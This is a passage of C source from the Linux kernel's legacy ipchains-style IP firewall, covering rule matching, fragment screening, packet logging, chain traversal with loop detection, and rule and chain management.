FWC_DEBUG_LOCK(fwc_wlocks); write_lock_irqsave(l,f); } while (0) #define FWC_READ_UNLOCK(l) do { FWC_DEBUG_UNLOCK(fwc_rlocks); read_unlock(l); } while (0) #define FWC_WRITE_UNLOCK(l) do { FWC_DEBUG_UNLOCK(fwc_wlocks); write_unlock(l); } while (0) #define FWC_READ_UNLOCK_IRQ(l,f) do { FWC_DEBUG_UNLOCK(fwc_rlocks); read_unlock_irqrestore(l,f); } while (0) #define FWC_WRITE_UNLOCK_IRQ(l,f) do { FWC_DEBUG_UNLOCK(fwc_wlocks); write_unlock_irqrestore(l,f); } while (0) struct ip_chain; struct ip_counters { __u64 pcnt, bcnt; /* Packet and byte counters */ }; struct ip_fwkernel { struct ip_fw ipfw; struct ip_fwkernel *next; /* where to go next if current * rule doesn't match */ struct ip_chain *branch; /* which branch to jump to if * current rule matches */ int simplebranch; /* Use this if branch == NULL */ struct ip_counters counters[0]; /* Actually several of these */ }; struct ip_reent { struct ip_chain *prevchain; /* Pointer to referencing chain */ struct ip_fwkernel *prevrule; /* Pointer to referencing rule */ struct ip_counters counters; }; struct ip_chain { ip_chainlabel label; /* Defines the label for each block */ struct ip_chain *next; /* Pointer to next block */ struct ip_fwkernel *chain; /* Pointer to first rule in block */ __u32 refcount; /* Number of refernces to block */ int policy; /* Default rule for chain. Only * * used in built in chains */ struct ip_reent reent[0]; /* Actually several of these */ }; /* * Implement IP packet firewall */ #ifdef DEBUG_IP_FIREWALL #define dprintf(format, args...) printk(format , ## args) #else #define dprintf(format, args...) #endif #ifdef DEBUG_IP_FIREWALL_USER #define duprintf(format, args...) printk(format , ## args) #else #define duprintf(format, args...) #endif /* Lock around ip_fw_chains linked list structure */ rwlock_t ip_fw_lock = RW_LOCK_UNLOCKED; /* Head of linked list of fw rules */ static struct ip_chain *ip_fw_chains; #define IP_FW_INPUT_CHAIN ip_fw_chains #define IP_FW_FORWARD_CHAIN (ip_fw_chains->next) #define IP_FW_OUTPUT_CHAIN (ip_fw_chains->next->next) /* Returns 1 if the port is matched by the range, 0 otherwise */ extern inline int port_match(__u16 min, __u16 max, __u16 port, int frag, int invert) { if (frag) /* Fragments fail ANY port test. */ return (min == 0 && max == 0xFFFF); else return (port >= min && port <= max) ^ invert; } /* Returns whether matches rule or not. */ static int ip_rule_match(struct ip_fwkernel *f, const char *ifname, struct sk_buff **pskb, char tcpsyn, __u16 src_port, __u16 dst_port, char isfrag) { struct iphdr *ip = (*pskb)->nh.iph; #define FWINV(bool,invflg) ((bool) ^ !!(f->ipfw.fw_invflg & invflg)) /* * This is a bit simpler as we don't have to walk * an interface chain as you do in BSD - same logic * however. */ if (FWINV((ip->saddr&f->ipfw.fw_smsk.s_addr) != f->ipfw.fw_src.s_addr, IP_FW_INV_SRCIP) || FWINV((ip->daddr&f->ipfw.fw_dmsk.s_addr)!=f->ipfw.fw_dst.s_addr, IP_FW_INV_DSTIP)) { dprintf("Source or dest mismatch.\n"); dprintf("SRC: %u. Mask: %u. Target: %u.%s\n", ip->saddr, f->ipfw.fw_smsk.s_addr, f->ipfw.fw_src.s_addr, f->ipfw.fw_invflg & IP_FW_INV_SRCIP ? " (INV)" : ""); dprintf("DST: %u. Mask: %u. Target: %u.%s\n", ip->daddr, f->ipfw.fw_dmsk.s_addr, f->ipfw.fw_dst.s_addr, f->ipfw.fw_invflg & IP_FW_INV_DSTIP ? " (INV)" : ""); return 0; } /* * Look for a VIA device match */ if (f->ipfw.fw_flg & IP_FW_F_WILDIF) { if (FWINV(strncmp(ifname, f->ipfw.fw_vianame, strlen(f->ipfw.fw_vianame)) != 0, IP_FW_INV_VIA)) { dprintf("Wildcard interface mismatch.%s\n", f->ipfw.fw_invflg & IP_FW_INV_VIA ? " (INV)" : ""); return 0; /* Mismatch */ } } else if (FWINV(strcmp(ifname, f->ipfw.fw_vianame) != 0, IP_FW_INV_VIA)) { dprintf("Interface name does not match.%s\n", f->ipfw.fw_invflg & IP_FW_INV_VIA ? " (INV)" : ""); return 0; /* Mismatch */ } /* * Ok the chain addresses match. */ /* If we have a fragment rule but the packet is not a fragment * the we return zero */ if (FWINV((f->ipfw.fw_flg&IP_FW_F_FRAG) && !isfrag, IP_FW_INV_FRAG)) { dprintf("Fragment rule but not fragment.%s\n", f->ipfw.fw_invflg & IP_FW_INV_FRAG ? " (INV)" : ""); return 0; } /* Fragment NEVER passes a SYN test, even an inverted one. */ if (FWINV((f->ipfw.fw_flg&IP_FW_F_TCPSYN) && !tcpsyn, IP_FW_INV_SYN) || (isfrag && (f->ipfw.fw_flg&IP_FW_F_TCPSYN))) { dprintf("Rule requires SYN and packet has no SYN.%s\n", f->ipfw.fw_invflg & IP_FW_INV_SYN ? " (INV)" : ""); return 0; } if (f->ipfw.fw_proto) { /* * Specific firewall - packet's protocol * must match firewall's. */ if (FWINV(ip->protocol!=f->ipfw.fw_proto, IP_FW_INV_PROTO)) { dprintf("Packet protocol %hi does not match %hi.%s\n", ip->protocol, f->ipfw.fw_proto, f->ipfw.fw_invflg&IP_FW_INV_PROTO ? " (INV)":""); return 0; } /* For non TCP/UDP/ICMP, port range is max anyway. */ if (!port_match(f->ipfw.fw_spts[0], f->ipfw.fw_spts[1], src_port, isfrag, !!(f->ipfw.fw_invflg&IP_FW_INV_SRCPT)) || !port_match(f->ipfw.fw_dpts[0], f->ipfw.fw_dpts[1], dst_port, isfrag, !!(f->ipfw.fw_invflg &IP_FW_INV_DSTPT))) { dprintf("Port match failed.\n"); return 0; } } dprintf("Match succeeded.\n"); return 1; } static const char *branchname(struct ip_chain *branch,int simplebranch) { if (branch) return branch->label; switch (simplebranch) { case FW_BLOCK: return IP_FW_LABEL_BLOCK; case FW_ACCEPT: return IP_FW_LABEL_ACCEPT; case FW_REJECT: return IP_FW_LABEL_REJECT; case FW_REDIRECT: return IP_FW_LABEL_REDIRECT; case FW_MASQUERADE: return IP_FW_LABEL_MASQUERADE; case FW_SKIP: return "-"; case FW_SKIP+1: return IP_FW_LABEL_RETURN; default: return "UNKNOWN"; } } /* * VERY ugly piece of code which actually * makes kernel printf for matching packets... */ static void dump_packet(struct sk_buff **pskb, const char *ifname, struct ip_fwkernel *f, const ip_chainlabel chainlabel, __u16 src_port, __u16 dst_port, unsigned int count, int syn) { __u32 *opt = (__u32 *) ((*pskb)->nh.iph + 1); int opti; if (f) { printk(KERN_INFO "Packet log: %s ",chainlabel); printk("%s ",branchname(f->branch,f->simplebranch)); if (f->simplebranch==FW_REDIRECT) printk("%d ",f->ipfw.fw_redirpt); } printk("%s PROTO=%d %u.%u.%u.%u:%hu %u.%u.%u.%u:%hu" " L=%hu S=0x%2.2hX I=%hu F=0x%4.4hX T=%hu", ifname, (*pskb)->nh.iph->protocol, NIPQUAD((*pskb)->nh.iph->saddr), src_port, NIPQUAD((*pskb)->nh.iph->daddr), dst_port, ntohs((*pskb)->nh.iph->tot_len), (*pskb)->nh.iph->tos, ntohs((*pskb)->nh.iph->id), ntohs((*pskb)->nh.iph->frag_off), (*pskb)->nh.iph->ttl); for (opti = 0; opti < ((*pskb)->nh.iph->ihl - sizeof(struct iphdr) / 4); opti++) printk(" O=0x%8.8X", *opt++); printk(" %s(#%d)\n", syn ? "SYN " : /* "PENANCE" */ "", count); } /* function for checking chain labels for user space. */ static int check_label(ip_chainlabel label) { unsigned int i; /* strlen must be < IP_FW_MAX_LABEL_LENGTH. */ for (i = 0; i < IP_FW_MAX_LABEL_LENGTH + 1; i++) if (label[i] == '\0') return 1; return 0; } /* This function returns a pointer to the first chain with a label * that matches the one given. */ static struct ip_chain *find_label(ip_chainlabel label) { struct ip_chain *tmp; FWC_HAVE_LOCK(fwc_rlocks | fwc_wlocks); for (tmp = ip_fw_chains; tmp; tmp = tmp->next) if (strcmp(tmp->label,label) == 0) break; return tmp; } /* This function returns a boolean which when true sets answer to one of the FW_*. */ static int find_special(ip_chainlabel label, int *answer) { if (label[0] == '\0') { *answer = FW_SKIP; /* => pass-through rule */ return 1; } else if (strcmp(label,IP_FW_LABEL_ACCEPT) == 0) { *answer = FW_ACCEPT; return 1; } else if (strcmp(label,IP_FW_LABEL_BLOCK) == 0) { *answer = FW_BLOCK; return 1; } else if (strcmp(label,IP_FW_LABEL_REJECT) == 0) { *answer = FW_REJECT; return 1; } else if (strcmp(label,IP_FW_LABEL_REDIRECT) == 0) { *answer = FW_REDIRECT; return 1; } else if (strcmp(label,IP_FW_LABEL_MASQUERADE) == 0) { *answer = FW_MASQUERADE; return 1; } else if (strcmp(label, IP_FW_LABEL_RETURN) == 0) { *answer = FW_SKIP+1; return 1; } else { return 0; } } /* This function cleans up the prevchain and prevrule. If the verbose * flag is set then he names of the chains will be printed as it * cleans up. */ static void cleanup(struct ip_chain *chain, const int verbose, unsigned int slot) { struct ip_chain *tmpchain = chain->reent[slot].prevchain; if (verbose) printk(KERN_ERR "Chain backtrace: "); while (tmpchain) { if (verbose) printk("%s<-",chain->label); chain->reent[slot].prevchain = NULL; chain = tmpchain; tmpchain = chain->reent[slot].prevchain; } if (verbose) printk("%s\n",chain->label); } static inline int ip_fw_domatch(struct ip_fwkernel *f, const char *rif, const ip_chainlabel label, struct sk_buff **pskb, unsigned int slot, __u16 src_port, __u16 dst_port, unsigned int count, int tcpsyn, unsigned char *tos) { f->counters[slot].bcnt+=ntohs((*pskb)->nh.iph->tot_len); f->counters[slot].pcnt++; if (f->ipfw.fw_flg & IP_FW_F_PRN) { dump_packet(pskb,rif,f,label,src_port,dst_port,count,tcpsyn); } *tos = (*tos & f->ipfw.fw_tosand) ^ f->ipfw.fw_tosxor; /* This functionality is useless in stock 2.0.x series, but we don't * discard the mark thing altogether, to avoid breaking ipchains (and, * more importantly, the ipfwadm wrapper) --PR */ if (f->ipfw.fw_flg & IP_FW_F_MARKABS) { (*pskb)->nfmark = f->ipfw.fw_mark; } else { (*pskb)->nfmark += f->ipfw.fw_mark; } if (f->ipfw.fw_flg & IP_FW_F_NETLINK) { #if defined(CONFIG_NETLINK_DEV) || defined(CONFIG_NETLINK_DEV_MODULE) size_t len = min_t(unsigned int, f->ipfw.fw_outputsize, ntohs((*pskb)->nh.iph->tot_len)) + sizeof(__u32) + sizeof((*pskb)->nfmark) + IFNAMSIZ; struct sk_buff *outskb=alloc_skb(len, GFP_ATOMIC); duprintf("Sending packet out NETLINK (length = %u).\n", (unsigned int)len); if (outskb) { /* Prepend length, mark & interface */ skb_put(outskb, len); *((__u32 *)outskb->data) = (__u32)len; *((__u32 *)(outskb->data+sizeof(__u32))) = (*pskb)->nfmark; strcpy(outskb->data+sizeof(__u32)*2, rif); skb_copy_bits(*pskb, ((char *)(*pskb)->nh.iph - (char *)(*pskb)->data), outskb->data+sizeof(__u32)*2+IFNAMSIZ, len-(sizeof(__u32)*2+IFNAMSIZ)); netlink_broadcast(ipfwsk, outskb, 0, ~0, GFP_ATOMIC); } else { #endif if (net_ratelimit()) printk(KERN_WARNING "ip_fw: packet drop due to " "netlink failure\n"); return 0; #if defined(CONFIG_NETLINK_DEV) || defined(CONFIG_NETLINK_DEV_MODULE) } #endif } return 1; } /* * Returns one of the generic firewall policies, like FW_ACCEPT. * * The testing is either false for normal firewall mode or true for * user checking mode (counters are not updated, TOS & mark not done). */ static int ip_fw_check(const char *rif, __u16 *redirport, struct ip_chain *chain, struct sk_buff **pskb, unsigned int slot, int testing) { __u32 src, dst; __u16 src_port = 0xFFFF, dst_port = 0xFFFF; char tcpsyn=0; __u16 offset; unsigned char tos; struct ip_fwkernel *f; int ret = FW_SKIP+2; unsigned int count; /* We handle fragments by dealing with the first fragment as * if it was a normal packet. All other fragments are treated * normally, except that they will NEVER match rules that ask * things we don't know, ie. tcp syn flag or ports). If the * rule is also a fragment-specific rule, non-fragments won't * match it. */ offset = ntohs((*pskb)->nh.iph->frag_off) & IP_OFFSET; /* * Don't allow a fragment of TCP 8 bytes in. Nobody * normal causes this. Its a cracker trying to break * in by doing a flag overwrite to pass the direction * checks. */ if (offset == 1 && (*pskb)->nh.iph->protocol == IPPROTO_TCP) { if (!testing && net_ratelimit()) { printk("Suspect TCP fragment.\n"); dump_packet(pskb,rif,NULL,NULL,0,0,0,0); } return FW_BLOCK; } /* If we can't investigate ports, treat as fragment. It's * either a trucated whole packet, or a truncated first * fragment, or a TCP first fragment of length 8-15, in which * case the above rule stops reassembly. */ if (offset == 0) { unsigned int size_req; switch ((*pskb)->nh.iph->protocol) { case IPPROTO_TCP: /* Don't care about things past flags word */ size_req = 16; break; case IPPROTO_UDP: case IPPROTO_ICMP: size_req = 8; break; default: size_req = 0; } /* If it is a truncated first fragment then it can be * used to rewrite port information, and thus should * be blocked. */ if (ntohs((*pskb)->nh.iph->tot_len) < ((*pskb)->nh.iph->ihl<<2)+size_req) { if (!testing && net_ratelimit()) { printk("Suspect short first fragment.\n"); dump_packet(pskb,rif,NULL,NULL,0,0,0,0); } return FW_BLOCK; } } src = (*pskb)->nh.iph->saddr; dst = (*pskb)->nh.iph->daddr; tos = (*pskb)->nh.iph->tos; /* * If we got interface from which packet came * we can use the address directly. Linux 2.1 now uses address * chains per device too, but unlike BSD we first check if the * incoming packet matches a device address and the routing * table before calling the firewall. */ dprintf("Packet "); switch ((*pskb)->nh.iph->protocol) { case IPPROTO_TCP: dprintf("TCP "); if (!offset) { struct tcphdr tcph; if (skb_copy_bits(*pskb, (*pskb)->nh.iph->ihl * 4, &tcph, sizeof(tcph))) return FW_BLOCK; src_port = ntohs(tcph.source); dst_port = ntohs(tcph.dest); /* Connection initilisation can only * be made when the syn bit is set and * neither of the ack or reset is * set. */ if (tcph.syn && !(tcph.ack || tcph.rst)) tcpsyn = 1; } break; case IPPROTO_UDP: dprintf("UDP "); if (!offset) { struct udphdr udph; if (skb_copy_bits(*pskb, (*pskb)->nh.iph->ihl * 4, &udph, sizeof(udph))) return FW_BLOCK; src_port = ntohs(udph.source); dst_port = ntohs(udph.dest); } break; case IPPROTO_ICMP: if (!offset) { struct icmphdr icmph; if (skb_copy_bits(*pskb, (*pskb)->nh.iph->ihl * 4, &icmph, sizeof(icmph))) return FW_BLOCK; src_port = (__u16) icmph.type; dst_port = (__u16) icmph.code; } dprintf("ICMP "); break; default: dprintf("p=%d ", (*pskb)->nh.iph->protocol); break; } #ifdef DEBUG_IP_FIREWALL print_ip((*pskb)->nh.iph->saddr); if (offset) dprintf(":fragment (%i) ", ((int)offset)<<2); else if ((*pskb)->nh.iph->protocol == IPPROTO_TCP || (*pskb)->nh.iph->protocol == IPPROTO_UDP || (*pskb)->nh.iph->protocol == IPPROTO_ICMP) dprintf(":%hu:%hu", src_port, dst_port); dprintf("\n"); #endif if (!testing) FWC_READ_LOCK(&ip_fw_lock); else FWC_HAVE_LOCK(fwc_rlocks); f = chain->chain; do { count = 0; for (; f; f = f->next) { count++; if (ip_rule_match(f, rif, pskb, tcpsyn, src_port, dst_port, offset)) { if (!testing && !ip_fw_domatch(f, rif, chain->label, pskb, slot, src_port, dst_port, count, tcpsyn, &tos)) { ret = FW_BLOCK; cleanup(chain, 0, slot); goto out; } break; } } if (f) { if (f->branch) { /* Do sanity check to see if we have * already set prevchain and if so we * must be in a loop */ if (f->branch->reent[slot].prevchain) { if (!testing) { printk(KERN_ERR "IP firewall: " "Loop detected " "at `%s'.\n", f->branch->label); cleanup(chain, 1, slot); ret = FW_BLOCK; } else { cleanup(chain, 0, slot); ret = FW_SKIP+1; } } else { f->branch->reent[slot].prevchain = chain; f->branch->reent[slot].prevrule = f->next; chain = f->branch; f = chain->chain; } } else if (f->simplebranch == FW_SKIP) f = f->next; else if (f->simplebranch == FW_SKIP+1) { /* Just like falling off the chain */ goto fall_off_chain; } else { cleanup(chain, 0, slot); ret = f->simplebranch; } } /* f == NULL */ else { fall_off_chain: if (chain->reent[slot].prevchain) { struct ip_chain *tmp = chain; f = chain->reent[slot].prevrule; chain = chain->reent[slot].prevchain; tmp->reent[slot].prevchain = NULL; } else { ret = chain->policy; if (!testing) { chain->reent[slot].counters.pcnt++; chain->reent[slot].counters.bcnt += ntohs((*pskb)->nh.iph->tot_len); } } } } while (ret == FW_SKIP+2); out: if (!testing) FWC_READ_UNLOCK(&ip_fw_lock); /* Recalculate checksum if not going to reject, and TOS changed. */ if ((*pskb)->nh.iph->tos != tos && ret != FW_REJECT && ret != FW_BLOCK && !testing) { if (!skb_ip_make_writable(pskb, offsetof(struct iphdr, tos)+1)) ret = FW_BLOCK; else { (*pskb)->nh.iph->tos = tos; ip_send_check((*pskb)->nh.iph); } } if (ret == FW_REDIRECT && redirport) { if ((*redirport = htons(f->ipfw.fw_redirpt)) == 0) { /* Wildcard redirection. * Note that redirport will become * 0xFFFF for non-TCP/UDP packets. */ *redirport = htons(dst_port); } } #ifdef DEBUG_ALLOW_ALL return (testing ? ret : FW_ACCEPT); #else return ret; #endif } /* Must have write lock & interrupts off for any of these */ /* This function sets all the byte counters in a chain to zero. The * input is a pointer to the chain required for zeroing */ static int zero_fw_chain(struct ip_chain *chainptr) { struct ip_fwkernel *i; FWC_HAVE_LOCK(fwc_wlocks); for (i = chainptr->chain; i; i = i->next) memset(i->counters, 0, sizeof(struct ip_counters)*NUM_SLOTS); return 0; } static int clear_fw_chain(struct ip_chain *chainptr) { struct ip_fwkernel *i= chainptr->chain; FWC_HAVE_LOCK(fwc_wlocks); chainptr->chain=NULL; while (i) { struct ip_fwkernel *tmp = i->next; if (i->branch) i->branch->refcount--; kfree(i); i = tmp; /* We will block in cleanup's unregister sockopt if unloaded, so this is safe. */ module_put(THIS_MODULE); } return 0; } static int replace_in_chain(struct ip_chain *chainptr, struct ip_fwkernel *frwl, __u32 position) { struct ip_fwkernel *f = chainptr->chain; FWC_HAVE_LOCK(fwc_wlocks); while (--position && f != NULL) f = f->next; if (f == NULL) return EINVAL; if (f->branch) f->branch->refcount--; if (frwl->branch) frwl->branch->refcount++; frwl->next = f->next; memcpy(f,frwl,sizeof(struct ip_fwkernel)); kfree(frwl); return 0; } static int append_to_chain(struct ip_chain *chainptr, struct ip_fwkernel *rule) { struct ip_fwkernel *i; FWC_HAVE_LOCK(fwc_wlocks); /* Are we unloading now? We will block on nf_unregister_sockopt */ if (!try_module_get(THIS_MODULE)) return ENOPROTOOPT; /* Special case if no rules already present */ if (chainptr->chain == NULL) { /* If pointer writes are atomic then turning off * interrupts is not necessary. */ chainptr->chain = rule; if (rule->branch) rule->branch->refcount++; goto append_successful; } /* Find the rule before the end of the chain */ for (i = chainptr->chain; i->next; i = i->next); i->next = rule; if (rule->branch) rule->branch->refcount++; append_successful: return 0; } /* This function inserts a rule at the position of position in the * chain refenced by chainptr. If position is 1 then this rule will * become the new rule one. */ static int insert_in_chain(struct ip_chain *chainptr, struct ip_fwkernel *frwl, __u32 position) { struct ip_fwkernel *f = chainptr->chain; FWC_HAVE_LOCK(fwc_wlocks); /* Are we unloading now? We will block on nf_unregister_sockopt */ if (!try_module_get(THIS_MODULE)) return ENOPROTOOPT; /* special case if the position is number 1 */ if (position == 1) { frwl->next = chainptr->chain; if (frwl->branch) frwl->branch->refcount++; chainptr->chain = frwl; goto insert_successful; } position--; while (--position && f != NULL) f = f->next; if (f == NULL) return EINVAL; if (frwl->branch) frwl->branch->refcount++; frwl->next = f->next; f->next = frwl; insert_successful: return 0; } /* This function deletes the a rule from a given rulenum and chain. * With rulenum = 1 is the first rule is deleted. */ static int del_num_from_chain(struct ip_chain *chainptr, __u32 rulenum) { struct ip_fwkernel *i=chainptr->chain,*tmp; FWC_HAVE_LOCK(fwc_wlocks); if (!chainptr->chain) return ENOENT; /* Need a special case for the first rule */ if (rulenum == 1) { /* store temp to allow for freeing up of memory */ tmp = chainptr->chain; if (chainptr->chain->branch) chainptr->chain->branch->refcount--; chainptr->chain = chainptr->chain->next; kfree(tmp); /* free memory that is now unused */ } else { rulenum--; while (--rulenum && i->next ) i = i->next; if (!i->next) return ENOENT; tmp = i->next; if (i->next->branch) i->next->branch->refcount--; i->next = i->next->next; kfree(tmp); } /* We will block in cleanup's unregister sockopt if unloaded, so this is safe. */ module_put(THIS_MODULE); return 0; } /* This function deletes the a rule from a given rule and chain. * The rule that is deleted is the first occursance of that rule. */ static int del_rule_from_chain(struct ip_chain *chainptr, struct ip_fwkernel *frwl) { struct ip_fwkernel *ltmp,*ftmp = chainptr->chain ; int was_found; FWC_HAVE_LOCK(fwc_wlocks); /* Sure, we should compare marks, but since the `ipfwadm' * script uses it for an unholy hack... well, life is easier * this way. We also mask it out of the flags word. --PR */ for (ltmp=NULL, was_found=0; !was_found && ftmp != NULL; ltmp = ftmp,ftmp = ftmp->next) { if (ftmp->ipfw.fw_src.s_addr!=frwl->ipfw.fw_src.s_addr || ftmp->ipfw.fw_dst.s_addr!=frwl->ipfw.fw_dst.s_addr || ftmp->ipfw.fw_smsk.s_addr!=frwl->ipfw.fw_smsk.s_addr || ftmp->ipfw.fw_dmsk.s_addr!=frwl->ipfw.fw_dmsk.s_addr #if 0 || ftmp->ipfw.fw_flg!=frwl->ipfw.fw_flg #else || ((ftmp->ipfw.fw_flg & ~IP_FW_F_MARKABS) != (frwl->ipfw.fw_flg & ~IP_FW_F_MARKABS)) #endif || ftmp->ipfw.fw_invflg!=frwl->ipfw.fw_invflg || ftmp->ipfw.fw_proto!=frwl->ipfw.fw_proto #if 0 || ftmp->ipfw.fw_mark!=frwl->ipfw.fw_mark #endif || ftmp->ipfw.fw_redirpt!=frwl->ipfw.fw_redirpt || ftmp->ipfw.fw_spts[0]!=frwl->ipfw.fw_spts[0] || ftmp->ipfw.fw_spts[1]!=frwl->ipfw.fw_spts[1] || ftmp->ipfw.fw_dpts[0]!=frwl->ipfw.fw_dpts[0] || ftmp->ipfw.fw_dpts[1]!=frwl->ipfw.fw_dpts[1] || ftmp->ipfw.fw_outputsize!=frwl->ipfw.fw_outputsize) { duprintf("del_rule_from_chain: mismatch:" "src:%u/%u dst:%u/%u smsk:%u/%u dmsk:%u/%u " "flg:%hX/%hX invflg:%hX/%hX proto:%u/%u " "mark:%u/%u " "ports:%hu-%hu/%hu-%hu %hu-%hu/%hu-%hu " "outputsize:%hu-%hu\n", ftmp->ipfw.fw_src.s_addr, frwl->ipfw.fw_src.s_addr, ftmp->ipfw.fw_dst.s_addr, frwl->ipfw.fw_dst.s_addr, ftmp->ipfw.fw_smsk.s_addr, frwl->ipfw.fw_smsk.s_addr, ftmp->ipfw.fw_dmsk.s_addr, frwl->ipfw.fw_dmsk.s_addr, ftmp->ipfw.fw_flg, frwl->ipfw.fw_flg, ftmp->ipfw.fw_invflg, frwl->ipfw.fw_invflg, ftmp->ipfw.fw_proto, frwl->ipfw.fw_proto, ftmp->ipfw.fw_mark, frwl->ipfw.fw_mark, ftmp->ipfw.fw_spts[0], frwl->ipfw.fw_spts[0], ftmp->ipfw.fw_spts[1], frwl->ipfw.fw_spts[1], ftmp->ipfw.fw_dpts[0], frwl->ipfw.fw_dpts[0], ftmp->ipfw.fw_dpts[1], frwl->ipfw.fw_dpts[1], ftmp->ipfw.fw_outputsize, frwl->ipfw.fw_outputsize); continue; } if (strncmp(ftmp->ipfw.fw_vianame, frwl->ipfw.fw_vianame, IFNAMSIZ)) { duprintf("del_rule_from_chain: if mismatch: %s/%s\n", ftmp->ipfw.fw_vianame, frwl->ipfw.fw_vianame); continue; } if (ftmp->branch != frwl->branch) { duprintf("del_rule_from_chain: branch mismatch: " "%s/%s\n", ftmp->branch?ftmp->branch->label:"(null)", frwl->branch?frwl->branch->label:"(null)"); continue; } if (ftmp->branch == NULL && ftmp->simplebranch != frwl->simplebranch) { duprintf("del_rule_from_chain: simplebranch mismatch: " "%i/%i\n", ftmp->simplebranch, frwl->simplebranch); continue; } was_found = 1; if (ftmp->branch) ftmp->branch->refcount--; if (ltmp) ltmp->next = ftmp->next; else chainptr->chain = ftmp->next; kfree(ftmp); /* We will block in cleanup's unregister sockopt if unloaded, so this is safe. */ module_put(THIS_MODULE); break; } if (was_found) return 0; else { duprintf("del_rule_from_chain: no matching rule found\n"); return EINVAL; } } /* This function takes the label of a chain and deletes the first * chain with that name. No special cases required for the built in * chains as they have their refcount initilised to 1 so that they are * never deleted. */ static int del_chain(ip_chainlabel label) { struct ip_chain *tmp,*tmp2; FWC_HAVE_LOCK(fwc_wlocks); /* Corner case: return EBUSY not ENOENT for first elem ("input") */ if (strcmp(label, ip_fw_chains->label) == 0) return EBUSY; for (tmp = ip_fw_chains; tmp->next; tmp = tmp->next) if(strcmp(tmp->next->label,label) == 0) break; tmp2 = tmp->next; if (!tmp2) return ENOENT; if (tmp2->refcount) return EBUSY; if (tmp2->chain) return ENOTEMPTY; tmp->next = tmp2->next; kfree(tmp2); /* We will block in cleanup's unregister sockopt if unloaded, so this is safe. */ module_put(THIS_MODULE); return 0; } /* This is a function to initilise a chain. Built in rules start with * refcount = 1 so that they cannot be deleted. User defined rules * start with refcount = 0 so they can be deleted. */ static struct ip_chain *ip_init_chain(ip_chainlabel name, __u32 ref, int policy) { unsigned int i; struct ip_chain *label = kmalloc(SIZEOF_STRUCT_IP_CHAIN, GFP_KERNEL); if (label == NULL) panic("Can't kmalloc for firewall chains.\n"); strcpy(label->label,name); label->next = NULL; label->chain = NULL; label->refcount = ref; label->policy = policy; for (i = 0; i < NUM_SLOTS; i++) { label->reent[i].counters.pcnt = label->reent[i].counters.bcnt = 0; label->reent[i].prevchain = NULL; label->reent[i].prevrule = NULL; } return label; } /* This is a function for reating a new chain. The chains is not * created if a chain of the same name already exists */ static int create_chain(ip_chainlabel label) { struct ip_chain *tmp; if (!check_label(label)) return EINVAL; FWC_HAVE_LOCK(fwc_wlocks); for (tmp = ip_fw_chains; tmp->next; tmp = tmp->next) if (strcmp(tmp->label,label) == 0) return EEXIST; if (strcmp(tmp->label,label) == 0) return EEXIST; /* Are we unloading now? We will block on nf_unregister_sockopt */ if (!try_module_get(THIS_MODULE)) return ENOPROTOOPT; tmp->next = ip_init_chain(label, 0, FW_SKIP); /* refcount is * zero since this is a * user defined chain * * and therefore can be * deleted */ return 0; } /* This function simply changes the policy on one of the built in * chains. checking must be done before this is call to ensure that * chainptr is pointing to one of the three possible chains */ static int change_policy(struct ip_chain *chainptr, int policy) { FWC_HAVE_LOCK(fwc_wlocks); chainptr->policy = policy; return 0; } /* This function takes an ip_fwuser and converts it to a ip_fwkernel. It also * performs some checks in the structure. */ static struct ip_fwkernel *convert_ipfw(struct ip_fwuser *fwuser, int *errno) { struct ip_fwkernel *fwkern; if ( (fwuser->ipfw.fw_flg & ~IP_FW_F_MASK) != 0 ) { duprintf("convert_ipfw: undefined flag bits set (flags=%x)\n", fwuser->ipfw.fw_flg); *errno = EINVAL; return NULL; } #ifdef DEBUG_IP_FIREWALL_USER /* These are sanity checks that don't really matter. * We can get rid of these once testing is complete. */ if ((fwuser->ipfw.fw_flg & IP_FW_F_TCPSYN) && ((fwuser->ipfw.fw_invflg & IP_FW_INV_PROTO) || fwuser->ipfw.fw_proto != IPPROTO_TCP)) { duprintf("convert_ipfw: TCP SYN flag set but proto != TCP!\n"); *errno = EINVAL; return NULL; } if (strcmp(fwuser->label, IP_FW_LABEL_REDIRECT) != 0 && fwuser->ipfw.fw_redirpt != 0) { duprintf("convert_ipfw: Target not REDIR but redirpt != 0!\n"); *errno = EINVAL; return NULL; } if ((!(fwuser->ipfw.fw_flg & IP_FW_F_FRAG) && (fwuser->ipfw.fw_invflg & IP_FW_INV_FRAG)) || (!(fwuser->ipfw.fw_flg & IP_FW_F_TCPSYN) && (fwuser->ipfw.fw_invflg & IP_FW_INV_SYN))) { duprintf("convert_ipfw: Can't have INV flag if flag unset!\n"); *errno = EINVAL; return NULL; } if (((fwuser->ipfw.fw_invflg & IP_FW_INV_SRCPT) && fwuser->ipfw.fw_spts[0] == 0 && fwuser->ipfw.fw_spts[1] == 0xFFFF) || ((fwuser->ipfw.fw_invflg & IP_FW_INV_DSTPT) && fwuser->ipfw.fw_dpts[0] == 0 && fwuser->ipfw.fw_dpts[1] == 0xFFFF) || ((fwuser->ipfw.fw_invflg & IP_FW_INV_VIA) && (fwuser->ipfw.fw_vianame)[0] == '\0') || ((fwuser->ipfw.fw_invflg & IP_FW_INV_SRCIP) && fwuser->ipfw.fw_smsk.s_addr == 0) || ((fwuser->ipfw.fw_invflg & IP_FW_INV_DSTIP) && fwuser->ipfw.fw_dmsk.s_addr == 0)) { duprintf("convert_ipfw: INV flag makes rule unmatchable!\n"); *errno = EINVAL; return NULL; } if ((fwuser->ipfw.fw_flg & IP_FW_F_FRAG) && !(fwuser->ipfw.fw_invflg & IP_FW_INV_FRAG) && (fwuser->ipfw.fw_spts[0] != 0 || fwuser->ipfw.fw_spts[1] != 0xFFFF || fwuser->ipfw.fw_dpts[0] != 0 || fwuser->ipfw.fw_dpts[1] != 0xFFFF || (fwuser->ipfw.fw_flg & IP_FW_F_TCPSYN))) { duprintf("convert_ipfw: Can't test ports or SYN with frag!\n"); *errno = EINVAL; return NULL; } #endif if ((fwuser->ipfw.fw_spts[0] != 0 || fwuser->ipfw.fw_spts[1] != 0xFFFF || fwuser->ipfw.fw_dpts[0] != 0 || fwuser->ipfw.fw_dpts[1] != 0xFFFF) && ((fwuser->ipfw.fw_invflg & IP_FW_INV_PROTO) || (fwuser->ipfw.fw_proto != IPPROTO_TCP && fwuser->ipfw.fw_proto != IPPROTO_UDP && fwuser->ipfw.fw_proto != IPPROTO_ICMP))) { duprintf("convert_ipfw: Can only test ports for TCP/UDP/ICMP!\n"); *errno = EINVAL; return NULL; } fwkern = kmalloc(SIZEOF_STRUCT_IP_FW_KERNEL, GFP_ATOMIC); if (!fwkern) { duprintf("convert_ipfw: kmalloc failed!\n"); *errno = ENOMEM; return NULL; } 